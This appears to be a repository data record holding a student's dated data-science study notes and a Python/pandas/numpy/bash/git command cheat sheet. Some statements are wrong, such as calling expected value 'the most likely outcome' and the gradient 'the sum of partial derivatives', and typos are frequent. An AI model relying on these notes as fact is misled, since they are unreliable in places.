address overfitting (in sklearn): min leaf size, max depth, purity (data points of the same class), gain threshold\\n - if you use decision trees, you must prune the model; though practically speaking, we use ensemble tree methods (random forests) so pruning is not really necessary\\n - Pros: low bias, simple to understand/interpret, nonparametric and non-linear, computationally easy to predict, deals with irrelevant features, works with mixed features\\n - Cons: High variance, computationally expensive to train, greedy algorithm\\n 5. Cost Complexity pruning\\n - Since decision trees will tend to overfit, a way to avoid this is to prune back the tree. One way is by cost-complexity pruning, which selects a tuning parameter alpha penalizing the subtree's complexity and fit to the training data.\\n - Often, select alpha via cross validation, comparing the mean squared prediction error via cross validation for each alpha. Pick the alpha to minimize average error.\\n - Then return the sub-tree for the chosen alpha.\\n 6. Both CLASSIFICATION tree and REGRESSION trees can be built.\\n - The RSS is used as a measure of \\\"information gain\\\" with each split of a regression tree (continuous outcome).\\n - the Gini Index or \\\"Cross entropy\\\" equations are used for classification trees, whcih basically classify the error rate before and after a given split (correlating with information gain), therefore allowing decision on what is the most \\\"informative\\\" split at a given node.\\n - Tree methods can outperform linear regression when there is a highly non-linear and complex relationship between the features and the response.\\n\\n\\n160617 Gradient Descent\\n 1. Optimization\\n - Find the min or max of a function: maximize likelihood or minimize square distance\\n - Machine learning methods rely on optimizing a \\\"cost function\\\". Cost functions are the mathematical definition of your machine learning goal.\\n - Intuition for gradient descent: If you take a guess and pick a point on the curve. You can calculate the derivative of the function from that point ( or the derivative as suggested by picking two close-points), you can then see the direction of the derivative. Depending on if you're maximizing/minimizing the function, you move in the respective direction based on the derivative, check it again at the next point until your derivative is near zero (which represents a maxima or minima).\\n - The \\\"gradient\\\" is defined as the sum of the partial derivative of multiple variables. This is actually what you calculate in the above scenario for multiple variables.\\n - the gradient points in the direction of steepest ascent\\n - the gradient is in the direction of the steepest ascent. The gradient points upward, so we descend down the gradient\\n - in gradient descent, follow the line of the steepest descent on the cost surface to find the minimum\\n - Per iteration through features of the model, you update the parameters simultaneously with respect to that gradient. In other words, you calculate the gradient once per iteration.\\n - NB: Gradient descent does not work with LASSO, since not differentiable given absolute value cost function\\n - Requires differentiable and convex cost function\\n - Only finds global optimum on globally convex functions\\n - Convergence asymptotically\\n - Choices of convergence criteria: max number of iterations, change in cost function, magnitude of gradient\\n - Performs poorly without feature scaling. Since if higher varaince for some variables, may take extra time. Can scale features back once optimization is performed\\n 2. Stochastic Gradient Descent\\n - Use a subset of data\\n - SGD computes cost function using a single, different randomly chosen observation per iteration. On average, it achieves the same as GD, but may have more variability\\n - SGD actually converge faster on average than batch GD, can oscillate around the optimum\\n - SGD generally requires less memory and computation and is faster, so is generally preferred. \\n\\n\\n160616 Logistic Regression\\n 1. Accuracy is the percent of observations correctly classified (TP+TN)/n\\n - However, imbalanced classes will inflate accuracy\\n - Doesn't reveal what kind of errors are being made.\\n - Precision: True positives over those who were classified as positive.\\n - F1 score (or F beta score) is a weighted harmonic mean of precision and recall. Rewards balanced precision and recall, rather than if it is unbalanced (if one is higher than the other).\\n - ROC Curve, plotting true positive rate and false positive rate.\\n - Area under the curve.\\n - SSS5 Classifier Metrics\\n -SSS15 ROC Curve Sensitivity and Specificity\\n\\n\\n\\n160615 Cross Validation Regularized regression\\n 1. Bias variance tradeoff\\n - A biased model centers around the incorrect solution. Bias can result from underfitting or from collecitng data poorly\\n - High variance in the model can be caused by overfitting or by insufficient data\\n - A model's expected squared prediction error will depend on the variability of y, and the variability of the training set used to train our model.\\n 2. Cross Validation : helps to choose the best model that performs well on unseen data\\n - Split data into training and validation sets\\n - We use cross valiation in order to get a sense of the error. However, build the final model on all of the data.\\n - Leave one out cross validation: build n models on n-1 data points and calculate MSE on 1 remaining data point. Computationally expensive and high variance since the tests are so small. So large variance in the error.\\n - Medium between LOOCV and 1 fold CV is k-fold CV, below.\\n - Use training set to train several models of varying complexity\\n - Then evaluate each model using the validation set: R2, MSE, accuracy etc.\\n - Keep the model that performs the best over the validation set\\n - As you increase complexity of the model, MSE of the training data will go to zero.\\n - but this will also increase the MSE of the test data.\\n - So you want to choose the optimal model complexity that optimizes test MSE, while maintaining the most parsimonious model.\\n 3. k-fold Cross Validation:\\n - Randomize data set into k groups, train using k-1 folds.\\n - Validate using the left out fold and record the validation metric for each validation such as RSS or accuracy\\n - Average the validation results.\\n - By increasing the number of folds, you decrease the variability of the mean squared prediction error of the model by averaging over the folds.\\n * SO PRACTICALLY SPEAKING we often use cross-validation during model BUILDING: to optimize hyperparameters such as lambda in LASSO or Ridge, or to compare different versions of models. Once the model is built, we often FIT the model to the entire TRAINING data set, to fit the coefficients, and then compare performance on the TEST data set.\\n 4. To prevent model fitting due to too many features:\\n - Metrics to compare models\\n 1. R squared is 1 - (MSS/TSS), 0 = awful, 1= awesome.\\n - R2 essentially is the ratio of the sum of squared errors for the fitted model versus the null model with the null model predicting the average of the target (true) value, regardless of predictors.\\n - However R2 will increase as you increase parameters, making it a poor comparator between different models.\\n - R squared increases as you increase predictors, so can't really be used to compare between models.\\n 2. Adjusted R2 penalizes for number of predictors, making it a better comparator of accuracy between models. (n-1) / (n-p-1)\\n - However Adjusted R2 tends to under-penalize complexity\\n 3. Information Theoretic Approaches: AIC, BIC\\n 4. Test, training set. Compare test set error between models.\\n 5. Cross validation. Average test error across all k-folds, and compare this between models of interest.\\n - Cross validation makes no parametric or theoretic assumptions\\n - Given enough data, can be highly accurate. is conceptually simple.\\n - Cons: can be computationally intensive, if fold size is low, can be conservatively biased.\\n\\n\\n\\n - Subset selection:\\n - Best subset: try every model combination and pick the best model (computationally intensive)\\n - Stepwise: iteratively pick predictors to be in and out of model.\\n Forward/backward stepwise selection.\\n - Test between model candidate built by stepwise: AIC, BIC, Adjusted R2, Mallows C. Or can use CROSS VALIDATION\\n - Better NOT TO USE RSS or R2.\\n - Mallows Cp: Increases penalty for each parameter included. So needs to reduce the RSS faster than the penalty term\\n - AIC, BIC, Adjusted R2 have similar rationale as Mallows Cp.\\n - AIC/BIC are available across the gamut of parametric models, so these are the more common methods to use to choose a model.\\n - These can be thought of alternatives to cross-validation to pick the best performing model. Cross validation can be performed on any model, whereas AIC/BIC may not be available for some models.\\n - Regularization - TBD\\n - Dimensionality Reduction - TBD\\n 5. Regularized Linear Regression\\n - Shortcomings of OLS\\n - In high dimensions, data is usually sparse : the curse of dimensionality\\n - Linear regression can have high variance (ie tend to overfit) on high dimensional data\\n ** This leads to the desire to want to restrict or normalize or regularize the model so that it has less variance **\\n 6. RIDGE REGRESSION - \\\"L2 norm\\\"\\n - So regularization adds a penalty term that penalizes larger values of beta (penalizes large values more than small values of beta)\\n - penalty is in proportion to the square of the beta coefficient, hence \\\"L2\\\" normalizing factor.\\n - lambda is the penalty applied to the coefficients\\n - higher the lambda the more the \\\"bias\\\" of the model. Labda = 0 is no different from standard linear regression.\\n - notably, all variables need to be normalized, since lambda will apply penalty (large values of the coefficient) proportional to its scale. So variables must be normalized.\\n - changes in lambda changes the amount that large coefficients are penalized\\n - increasing lambda increases the model's bias and decreases variance\\n - Use cross-validation to identify the ideal lambda that decreases the error of the model.\\n 7. LASSO - \\\"L1 norm\\\"\\n - Instead of the penalizing the square of the coefficient, you penalize the absolute value of the coefficient, which has the benefit of driving some coefficients to zero (rather than near zero with Ridge)\\n - Tends to set coefficients exactly equal to zero\\n - Automatic feature selection, leads to sparse models\\n - Ridge is computationally easier because it is differentiable\\n - True sparse models benefit from lasso, dense models benefit from ridge\\n - Even in a situation where you might benefit from L1's sparsity in order to do feature selection, using L2 on the remaining variables is likely to give better results than L1 by itself.\\n 8. So use cross-validation to select lambda which optimizes error for either LASSO or Ridge \\n - Range of lambda (alpha in SKlearn) is 0 to infinity.\\n - A lambda of zero in LASSO is identical to linear regression\\n\\n\\n\\n\\n160614 Linear regression\\n 1. Parametric model\\n - Assumptions are strong, but so are conclusions. Models are simple, interpretable and flexible.\\n - y hat indicates prediction of Y based on X=x\\n - RSS grows with n, not by itself interpretable.\\n - R2 proportion of variance explained by the model\\n - R2 increases with features included into the model.\\n - As you increase features, you risk overfitting data\\n - Overfitting is learnign the data's signal and the noise, limiting generalizabiility to additional nonobserved data.\\n - F test can be used to compare a model with another nested model\\n - If model with missing predictor/s don't matter for prediction, F statistic will be small\\n - You get a probability of F statistic which \\\"MAYBE\\\" can be interpreted as the p-value for the entire model??\\n - If you have covariates that are not significant by p-value, remember that you may have correlation between coefficients and that interpretation of the meaning of the coefficients may be difficult.\\n 2. Assumptions of a linear regression:\\n 1. Linear relationship between predictors and outcome\\n 2. Errors (residuals between predicted and true) are independent and identically distributed. And in time series, there is no correlation between consecutive errors.\\n 3. Constant variance of errors, aka homoscedasticity. Ie errors don't change over time, versus the predictions or versus any independent variable.\\n 4. Normality of the error distribution\\n\\n 3. Troubleshooting.\\n 1. Multicolinearity: If two or more predictor variables are highly correlated with each other, the uncertainty in model coefficients becomes large. Affects the interpretability of coefficients\\n - Can use a correlation matrix to look for pairwise correlations.\\n - use VIF (variance inflation factors) for more complicated relationships. To try to figure out whcih variables are colinear\\n - Run OLS for each predictor as a function of all other predictors. K times for k predictors.\\n - Benefit is that it looks at all predictors together.\\n - Rule of Thumb is >10 is problematic\\n - remove (but make note of) any predictor that is easily determined by the remaining predictors.\\n 2. Outliers: When y is far from predicted y hat. Least Squares is particularly affected by outliers.\\n - Residual plots can help identify outliers.\\n - Influence plots can distinguish outliers from high leverage points.\\n 3. Heteroscedasticity: the existence of more than one population of variability/variance. Ie residuals do not have constant variance.\\n - Can test by plotting the residuals\\n - If heteroscedasticity is present, can invalidate the assumption that modeling errors are uncorrelated and uniform. \\n - Solution may be to transform Y, ie log transformation of Y, or sqrt(y).\\n 4. Normality of Residuals: Linear regression operates under the assumption that residuals are normally distributed\\n - Can check this assumption with a QQ plot.\\n - If residuals are not normal, may transform the response.\\n 5. Non-linearity relationship between outcome and predictors.\\n - Can consider adding a squared version of the predictor.\\n - same as adding a higher order polynomial of a predictor to the feature space. Ie adding x^2 or x^4\\n - Also spline, polynomial, step function, local regression, generalized additive models. \\n - Can capture nonlinear aspects of the relationship between parameters and y using the above methods: spline, polynomial etc\\n - Can also transform the y feature space to try to address this.\\n 6. Mean Squared Error is proportional to Residual sum of squares. In fact it is RSS divided by sample size n.\\n\\n\\n\\n\\n\\n160613\\nLinear Algebra\\n 1. matrix multiplication\\n - For the given row-column target in the matrix, sum of mulitply the elements of matrix1 row times matrix2 column.\\n 2.\\n - Only square matrices are invertable\\n - Eigenvectors/eigenvalues are values that do not change except for by a scalar through a transformation\\n - A stochastic matrix represents the probabilty of goig from one state to another. \\n - Axis zero is column-wise, axis 1 is row-wise in numpy (opposite in pandas)\\n 3. Exploratory Data Analysis\\n - Look at the distribution of individual features\\n - Then look at bivariate plots\\n - ie scatter with kernal density plots\\n - pandas scatter matrix\\n 4. Linear regression\\n - Cost function: usually is ordinary least squares. So you minmize the residual sum of squares. Minimizing the cost function in linear regression.\\n - The error term or the \\\"residual\\\" is the difference between predictions and is assumed to be iid, and normally distributed with N( mean = 0 and variance).\\n - Reliability of linear regression\\n - R squared, coefficient of determination. Compares your model versus a model that is just the mean. A high R squared on its own does not imply a good model.\\n - If features are correlated, this breaks the assumption that features are independent and errors are iid so this can affect validiy of the model.\\n - F test compares model with null model. Shortcoming is that it doesnt' tell you which beta is unequal to zero.\\n - Can perform hypothesis test on coefficient\\n\\n\\n\\n160610\\nMultiarmed bandit\\n 1. Conjugate Prior \\n 1. Conjugate Prior: Posterior is proportional to the likelihood x prior\\n 2. We use probability distributions (which integrate to 1) to model both the posterior and the prior in the Bayes Theorem equation.\\n - The beta distribution is a known distribution that we will be using to model the PRIOR event for an event that has a likelihood of a binomial distribution.\\n - We model the POSTERIOR distribution with the binomial distribution usually.\\n 3. Assumptions of the conjugate prior method are the same as for the binomial distribution: one of which is that the probability is Constant\\n 4. For the beta distribution, the alpha parameter is the number of conversions you had, the beta is the number of non-conversions (using the CTR example for a website A/B test)\\n 2. Traditional A/B testing\\n 1. Epsilon first testing: explore first for x tests, then use results\\n - Pitfalls include: only after a set time, do you use data and pick the better performer, potentially losing money\\n 3. Multi-Armed Bandit\\n 1. Strategies to optimize exploration and exploitation, leraning as you go and making changes to behavior.\\n 2. Method of adaptive, reinforcement learning.\\n 3. Goal is to maximize return and minimize \\\"regret\\\" or using the sub-optimal option.\\n 4. Strategies\\n 1. Epsilon Greedy: Explore with some probability epsilon, often 10%\\n - All other times we will exploit the option with the best performance\\n -After we choose a given bandit, update the performance based on the result.\\n 2. Upper Confidence Bound UCB1\\n Choose which ever bandit has the largest value, zero regret algorithm\\n 3. Softmax\\n - choose a bandit randomly in proportion to its estimated valu. Tau is a parameter that controls the randomness of the choice\\n - pA is the percentage of people who convert on site A\\n 4. Bayesian Bandit\\n - Modeling each of the bandits with a beta distribution with the shape parameters of alpha = won, beta = lost\\n - Then take a random sample from each bandit's distribution and choose the bandit with the highest value. Update with each new trial\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n160609\\nStatistical Power\\n\\n 1. power\\n 1. Def: Probability of rejecting the null hypothesis given that the alternative hypothesis is True\\n 2. How to improve power?\\n - One way to improve the power of the test is to increase sample size, so the distribution under the presumed alternative hypothesis has less variation and thus the area to the right of the dotted line (alpha) is higher.\\n - Less variable data\\n - Change alpha (lower it)\\n - A larger effect size (that you want to be able to detect with your experiment) would also increase the power of the test. Though experimentally a larger effect size is harder to achieve, ie it requires a higher burden of proof\\n\\n\\n160608\\nHypothesis Testing\\n\\n 1. Bootstrap: As long as your original sample is REPRESENTATIVE of the population, because the number of permutations of combinations of subsequent combinations (Drawn with replacement) of the samples in your bootstrap (n to the n, if n = size of original sample) is so large, the summary statistics of random variables will follow normal distribution.\\n A. So you can use bootstrapping to empirically estimate confidence intervals for the summary statistic from your bootstrap sample\\n B. So bootstrapping does not always narrow the confidence interval of the summary statistic, it can provide a confidence interval for statistics that don't have CLT to provide a 95CI. \\n 1. ie \\\" it is available regardless of how complicated the estimator is\\\". Since bootstrapping \\\"estimates the sampling distribution of an estimator by sampling with replacement from the original sample\\\"\\n 2. Used to estimate the standard errors and confidence intervals of an unknown population parameter\\n 2. Hypothesis Testing\\n 1. Type 2 error, loss of opportunity error, fail to reject H0 when it is false\\n 3. Chi square\\n 1. Chi Square Goodness of Fit: Used to compare the sample data of a categorical variable to the theoretical distribution. Observed minus expected\\n 2. Chi Square Test of Independence: Compare two categorical variables under the assumption that they are independent \\n\\n\\n\\n160607\\nSampling and Estimation\\n\\n 1. Parametric vs Non Parametric\\n A. Parametric based on assmptions about the distribution of the underlying population, that that there are parameters that define that distribution\\n - If data deviates from these assumptions than a parametric procedure can lead to incorrect conclusions\\n B. Nonparametric: does not make distributional assumptions about he shape or parameters of the underlying distribution\\n - If base assumptions hold, parametric approaches can lead to more precise estimations\\n - Usually based on ranking, does not take into account distribution of data\\n - Less power than corresponding parametric procedure\\n - Interpretation can be more difficult than parametric measure\\n 2. Maximum Likelihood Estimators\\n A. The join distribution is the product of the individual probabilty distributions, this is ASSUMING that events are indepdent and identically distributed (IID)\\n - Maximizing the likelihood function is the same as maximizing the log lilelihood function which simplifies complications, since the product of function is the same as the sum of the logs of the function. So calculation is simplified.\\n - So derivative with respect to the parameter (partial derivative) is how you solve for this\\n 3. Maximum a Posteriori -MAP\\n A. Baysean suggests that the parameters from come a distribution themselves. Assume a prior distribution of the parameters g over theta, given the value x.\\n 4. Kernal Density estimations\\n A. Drawn from a distribution with an unknown density f, but which you are interested in estimating the shape of its function. Essentially a data smoothing problem.\\n B. Uses a kernel K(.): which is a nonnegative function that integrates to one and has a mean of zero\\n c. h is a smoothing parameter, called a bandwidth, which determines the width of the bins over which the kernel is deployed.\\n D. Related to histograms, but can be made smooth by using a suitable kernel. Sum of kernals, can be thought of as summing kernels\\n\\n\\n\\n\\n160606\\nProbability\\n- Probability Mass Function PMF: For a DISCRETE random variables X that takes discrete values, give the probability of an individual event.\\n- Probability Density Function PDF (\\\"CDF\\\" in scipy stats modules): For CONTINUOUS random variables, gives probability of having value less/greater than a given value.\\n\\n- disjoin is mutually exclusive\\n- upside down A is “all\\\"\\n- Combinatorics\\n - Factorial is the all the possible orderings in a set of items n\\n - Permutations, selecting subgroups of a set when order matters\\n - nPk = n! / (n - k)!\\n - Combination: number of was of selecting subgroups when order doesn’t matter\\n - nCk = n! / (n-k)!k!\\n - Note that you’re dividing out the number of orders (factorial k) in the number of the set chosen\\n - Sample space contains the exhausted list of mutually exclusive simple events\\n - An event A contains a subset of the simple events in S\\n - Conditional Probability: probability given something already occurred. Reduces the sample space to the probability of what happened (what is given)\\n- Random Variable\\n - Exepected Value: is the most likely outcome of a random variable\\n - For discrete random variable, sum over the sample space; for continuous, need to integrate over sample space\\n - Variance: measure of the spread of values around the mean; squaring this is how to make it positive (one method only of several), but the units are squared, so make it harder to interpret\\n - Standard deviation is the square root of Variance, with units back to original variable\\n - Covariance: how two variables vary in relation to each other. Ranges from negative to positive infinity. So the covariance re-scaled ranges from neg 1 to 1.\\n\\n- DISCRETE DISTRIBUTIONS\\n- Bernoulli distribution: two outcomes, success failure\\n - Constant Probability of success, events are independent\\n- Binomail models the sum of the Bernoulli random variable; so the number of successes in n trials\\n - probabiltiy is the product of the independent Bernouli random variables, since each is independent\\n- Geometric distribution also builds on Bernouli, models the number of trials to first success\\n- Poisson, models nubmer of events/successes in a period of time (or space)\\n - lambda is an average rate of success in that time or space\\n - Good for counting processes\\n\\n- CONTINUOUS DISTRIBUTIONS\\n- Uniform: equally likely events within a set interval\\n- Exponential: models time between Poisson events\\n\\n160603\\nSQL Python\\n\\n- psycopg library to interface to a Postgres database from within Python\\n - There are Python libraries to connect to almost any database you want, mysql-connector-python, sqlite, pymongo\\n- Cursor is a control structure to fetch data and handle transactions with the SQL database\\n - The results from a cursor object can only be accessed once, since it is returned as a generator. So need to dump it into a datastructure in Python you can use later\\n - Generally will use cur.fetchall() into a python object to use the results of your query\\n - Can also use: cur.fetchone() #next result, cur.fetchmany(n) #returns next n results (in case you need to batch the storage of your results)\\n - Or: for res in cur: #iterates over results in the cursor\\n- Enter SQL postgress query as a multiline string in python: query = ‘’’ ‘''\\n\\n- If you execute a query in psycopg2 and there is a mistake in your query, you can’t interact with the cursor again (ie send a fixed query) until you rollback the connection: conn.rollback()\\n- To open a connection in psycopg2:\\n - import psycopg2\\n - conn = psycopg2.connect(dbname=‘{name}’, user=‘[username]’, host=‘[hostname])\\n- Write queries in python using: c.execute(‘’’ SQL QUERY ‘’')\\n- Changes to the database made using your query are NOT stored until you commit them using\\n - conn.commit()\\n - curr.close()\\n - conn.close() #good practice to close the connection at the end of your python program\\n- conn.rollback() # if you make a mistake on the query, use rollback to restart the transaction.\\n- To create a new DATABASE in python through psycopg2, you need to turn on auto-commit in order to execute the command. Be sure to close the connection and restart a new one with auto-commit off, so you don’t accidentally change the database with a subsequent query that you can’t roll back.\\n - conn.set_session(autocommit = True )\\n - cur = conn.cursor()\\n - cur.execute(‘CREATE DATABASE <database name>’)\\n - curr.close()\\n - conn.close()\\n- COPY <into table name> FROM ‘filepath of data file ie csv’ DELIMITER ‘,’ CSV; #import data into table from external file.\\n\\n160602\\nSQL\\n\\n- RDBMS data is one way to store persistent data\\n - Data that is infrequently accessed and unlikely to be changed\\n - Composed of tables, columns rows\\n - Column contains a certain data type\\n - Row is an observation that holds values for each of the columns\\n - Tables are specified by a schema that defines the structure of the data\\n- Advanced SQL\\n - Self-join-effectively joining a table with itself, in order to filter more powerfully. Used commonly.\\n - A With function in SQL, you can alias a query, then use than in a larger query\\n - Window functions is signified OVER ( PARTITION BY ) , and allows a calculation over a set of table row within a query\\n\\n160601\\nObject Oriented Programming\\n\\n- A class is a blueprint of an object that can be created from that class, works generically across different cases. Ie a dictionary is a class in python\\n- An object is an instance of a class, can create multiple instances of the same class\\n- An attribute is a property of the class, usually a variable\\n- OO revolves around three concepts\\n - Encapsulation - interact with internals of an object only through method calls, rather than directly\\n - attributes of the object are essentially the data stored in the object (instance of the class), but only alter/update them through methods\\n - Inheritance - Derive a child class from a base class. Base class defines general behavior. Child class specializes behavior.\\n - Polymorphism - Objects of the same base class will often support the same interface, having the same/similar attributes or methods\\n- “self” refers to an instance’s own unique data. When you assign a class to a variable, that variable subsequently then gets passed to every method of that class-instance as the first argument. So every method in that class must have a “self” argument in the list\\n- __init__ is the first method called in a class that is called whenever the class is created. Use self to refer to the instance’s member data and functions\\n- *args will pass a list sequentially to a function\\n- ** kwargs are keyword-named arguments that are stored in a dictionary and can be passed to a function, either as a dictionary or as individual named key-word arguments. preceeded by ** (packing and unpacking)\\n- A static method is a function in a class that is not passed the reference the instance of the class. So it’ll just do that it says, regardless of the rest of the class functions\\n- Magic methods: predefined methods within python that can be defined for your class, such as length or str(stringmethod)\\n - repr is the python representation of the object\\n - str is the string representation of the object\\n - init is the constructor magic method required to initialize a class\\n- An Abstract Base Class defines a standard interface for derived object. So it allows you to define a common set of methods for a class-type, essentially enforcing polymorphism\\n - Ie for any regression, they offer a certain types of methods. So define ABC first, then individual classes from this later\\n- Decorators: functions which wrap other functions\\n- Python Debugger is a good way to debug clode\\n - insert “import pdb” in line in the code,\\n - “import pdb; pdb.set_trace\\n - type n for new line, c for new trace point, q to quit, s steps through news line stepping through functions\\n - can access anything at that python runtime, paused at the given line\\n\\n160531\\n\\n- Programming\\n - Generators in Python\\n - Take less memory\\n - Use enumerate when you need the index of the list as well as the value\\n - If possible, try to see if you can use hashing to organize/loop over data, as this is the fastest way to perform such functions\\n - Mutable objects can change their value but keep their id()\\n - lists, sets, dictionaries\\n - Only immutable objects can be used as key in dictionary (“unhashable”)\\n - Immutables: int, string, tuple, floats\\n\"\n },\n {\n \"alpha_fraction\": 0.704182505607605,\n \"alphanum_fraction\": 0.7185418605804443,\n \"avg_line_length\": 47.99122619628906,\n \"blob_id\": \"3a2477252047028bcb514b4e61dfb0eddb464fe3\",\n \"content_id\": \"600c4306ac2e03022591cfcb7265277b2450263f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 27932,\n \"license_type\": \"no_license\",\n \"max_line_length\": 673,\n \"num_lines\": 570,\n \"path\": \"/160601 Python Commands.md\",\n \"repo_name\": \"geoffisdancing/galnotes\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n```python\\n#Python General commands\\n\\n if __name__ == '__main__': #base code that will run when file is run by calling it by name\\n from __future__ import division\\n\\n f = open(filename) #open filename\\n with open(filename) as f: #open file, prefer to use this over open(filename), so it automatically closes the file\\n\\n class ClassName(object): #way to implement a class ClassName\\n def __init__(self, selfvar1, selfvar2, function1, etc)\\n self.selfvar1 = selfvar1\\n\\n from collections import Counter #imports Counter \\\"container\\\" serves to count the most common items in a list/array \\n Counter(array_lst_object).most_common(num_of_most_common_items) #returns a list with a tuple of the most common item and its count\\n\\n if not os.path.exists(\\\"./<dirname>\\\"): #to make a directory if doesn't exist using python\\n os.makedirs(\\\"./<dirname>\\\")\\n\\n with open('URL here', 'r') as f: #read URL location as file,\\n shoes = f.read().replace('\\\\n','') #reading it in as html for parsing using BS (see PyMongo below)\\n\\n import requests #ability to make GET request for web scraping\\n r = requests.get('http://www.ebay.com/.....complete URL here ')\\n soup2 = BeautifulSoup(r.content, 'html.parser')\\n\\n from collections import defaultdict\\n from time import time #gives runtime, call with \\\"print time()\\\"\\n\\n %time #ipython's magic method\\n\\n from collections import Counter\\n d = Counter(lst)\\n\\n assign = _ #assigns var to the last output returned in the console\\n '-'.join(<sequence of strings>)\\n float('NaN') #used to assign variable value to NaN\\n\\n import pdb; pdb.set_trace()\\n\\n\\n# Terminal/Bash\\n mkdir\\n cp\\n mv\\n rm\\n rmdir\\n man #bash manual\\n ctr + a #move to front\\n ctr + e #move to end\\n ctr + k #clears line after the cursor\\n ctr + u #clear current line\\n ctr + l or clear #clears terminal screen\\n !$ #last argument \\n ls -l #one item per line ls detailed\\n echo $PATH #Bash searches for commands, system variable separated by colons\\n searches in ~/.bash_profile\\n # separate commands in batch using semicolon, or & to run concurrently\\n\\n\\n# Git\\n git clone http://xxx\\n git status #status of local git with cloud git\\n git add . #add all thing in current directory and subdirectory\\n git commit -m “comment\\\"\\n git push\\n git init #initializes directory as git repo on your local computer\\n echo \\\"# galnotes\\\" >> README.md\\n git init\\n git add README.md\\n git commit -m \\\"first commit\\\"\\n git remote add origin https://github.com/geoffisdancing/galnotes.git\\n git push -u origin master\\n git branch # tells the git branch status of your current working directory\\n git checkout master #switch to master branch from other branch, ie if you want to make a \\\"hotfix\\\" to master\\n git merge hotfix #merge hotfix branch changes with master (ie master is your current branch location since you just checked it out)\\n git branch -d <hotfixbranch> #can delete branch once you've merged it with master\\n\\n git pull origin master # syncs your local git repo with the origin (on http) pulling down new files\\n git pull #also works, don’t necessarily need “origin master\\\"\\n\\n #to push files from local repo (recently just committed to one account) to a different git account:\\n git remote -v #to get URL\\n git remote add <temp name> <change to your git url>\\n git push <temp name>\\n\\n # to fetch a specific file from a remote git URL\\n git fetch {remote host url} #pulls branch information from the remote github host (ie from another computer), after which you can now do git checkout branch which may be from another computer/user\\n git branch -a #after fetch, will show the other branches from master, from which you can then checkout one you want\\n git checkout FETCH_HEAD -- '[filename]' # both of these above commands used in order to pull an individual file from a the remote master. Must use dir/filename if file is located in a subdirectory\\n\\n\\n\\n#PANDAS\\n#axis = 1 indicates column in pandas\\n\\n%matplotlib inline # command in ipython to print graphs inline\\nimport matplotlib.pyplot as plt #plotting functionality plt\\n\\npd.read_csv('filepath') # to read csv file into dataframe, assign to df name.\\n# try date_parser=[col index] parameter to allow specification of a specific column to parse as a datetime.\\npd.read_table('text_filepath') #read text file as df\\npd.scatter_matrix(<dfname>, alpha = 0.2, figsize=(6,6),diagonal='kde'); #scatter matrix of dataframe variables in pandas\\n\\ndf = df.drop('column name', axis=1, inplace=True) # drops column in pandas dataframe, axis = 1 indicates column in pandas. default is axis = 0 which drops an observation (row) from the data\\ndf.drop(df.index[[1,2,3]]) #drop rows of df, indices 1,2,3\\ndf.pop('column name') #pops off column name from df, modifying df in place\\ndf = df[df['Column name'] <some value] # index based on column value, syntax here effectively deleting by re-saving as df\\ndf[['column 1', 'column 2']] #index multiple columns\\ndf2 = df.rename(columns={'int_col' : 'some_other_name'}, inplace= True) #renamecolumns\\ndf.info() # type of each column in df\\ndf.hist('column name') #plots histogram over column (or all columns if left blank)\\n<dateseries>.dt.month #to get month (or other element) from pandas datatime object\\n#when grouping by in pandas, can add \\\"as_index = False\\\" to move index to top.\\nseries.unique() # to pull unique values of a given series\\ndf.unstack() #will switch from stacked (row-wise data) to column-wise data by the inner-most grouping index.\\ndf.values #return an np.ndarray of either the dataframe or the dataframe index\\n#if result of slicing is a 1D dataframe, this will be a (vertical) pd.Series, which can't be used to index. So .values will turn into a 1D array, whcih can be used to index.\\ndf.values.astype(float) # returns values of a df as float\\ndf.astype(float) #suffix astype allows conversion to float.\\ndf.columns.values #returns an array of the column names of df\\n\\nimport statsmodels.api as sm # to import statsmodels package for regression capability\\nsm.regression.linear_model.OLS(dependent_array, independent_dataframe).fit() #this shoudl be assigned to an <object> and then can be displayed using:\\nprint <object>.summary()\\nplt.scatter( credit_OLS.predict(), credit_OLS.outlier_test()['student_resid']) #plot student residuals vs fitted y's to look for outliers\\nsm.qqplot(<OLS_model_object>.resid) #plot QQ plot of residuals of prevously fitted statsmodels object name. \\npd.get_dummies(array) #create dummy variables\\npd.set_index('column_name', inplace=True) #set column as index\\npd.groupby(by=None, axis=0) #group df by first argument\\ndf.iloc[<integerindex>] #allows indexing by index location in pandas dataframe\\n\\ndf.to_csv('filename', index=False) #write to csv\\ndf.reset_index(inplace=True) #pulls index into the first column.\\ndt.datetime.strptime(ginger.date[0], '%d%b%y:%H:%M:%S') #strip time data from string, requires specific flags, at the bottom of this site: https://docs.python.org/2/library/datetime.html\\n#can also use after reading csv, example: ginger['date']=pd.to_datetime(ginger['date'], format='%d%b%y:%H:%M:%S')\\ndf['column']=df.apply(lambda row: f(row), axis=1) #f = function to apply across each row of\\ndf.column.value_counts() #value counts for a given column (similar to tabulate)\\ndf[df['column'].isin([list of values])] #how to filter dataframe rows by \\\"within/in\\\"\\ndf.columns=[<list of names as strings>] #to rename columns\\ndf.replace(to_replace=None, value=None, inplace=True) #replace one value with another in df\\ndf.fillna(value=None, axis=None, inplace=False) #fill NaN values in df\\ndf.drop_duplicates(subset=None, keep='first/last', inplace=False) #drop duplicates, can specify a subset of columns to look over\\n\\nwho%_ls DataFrame #lists dataframes in the current workspace/memory\\n\\n\\n# Numpy\\n\\nnp.linalg.norm() # get the addition of two vectors\\nnp.logical_and(array1==True, array2==True) #returns boolean array corresponding to array1/2 satisfying the conditions described\\narrr[(arrr[:,0]>0.6) & (arrr[:,1]<0.4)] #setting slices of an array to conditions will return an array which meets those conditions OR\\nnp.array(thresholds)[(np.array(tpr)>0.6) & (np.array(fpr)<0.4)] #can even index a target array (thresholds) according to boolean statements for TWO OTHER arrays (tpr, fpr) which are the same size/shape as the target arrray (assuming of course that they reference the same data pionts)\\nnp.argsort(array) #returns an array2 with the indices of the sorted input array, which you can use to iterate over sorted values. \\narr[np.random.randint(0, size)] #np.random.randint returns a random integer which in this case is used to index the array randomly, with replacement. size = len(arr)\\narr.tolist() #return array values as list\\narr = np.array(arr) # turn a list or other object into a np array\\narr.shape #returns a tuple describing the shape of the array in (rows, columns)\\nnp.newaxis '''usage'''#if arr is a 1D array (ie arr.shape = (3,)), arr[np.newaxis,:] will return a row vector shaped (1,3) whereas arr[:,np.newaxis] will return a column vector shaped (3,1)\\narr[np.min(array, axis = 1)>0] #np.min returns booleans for the condition >0 along rows (axis = 1)\\narr = np.append(arr, 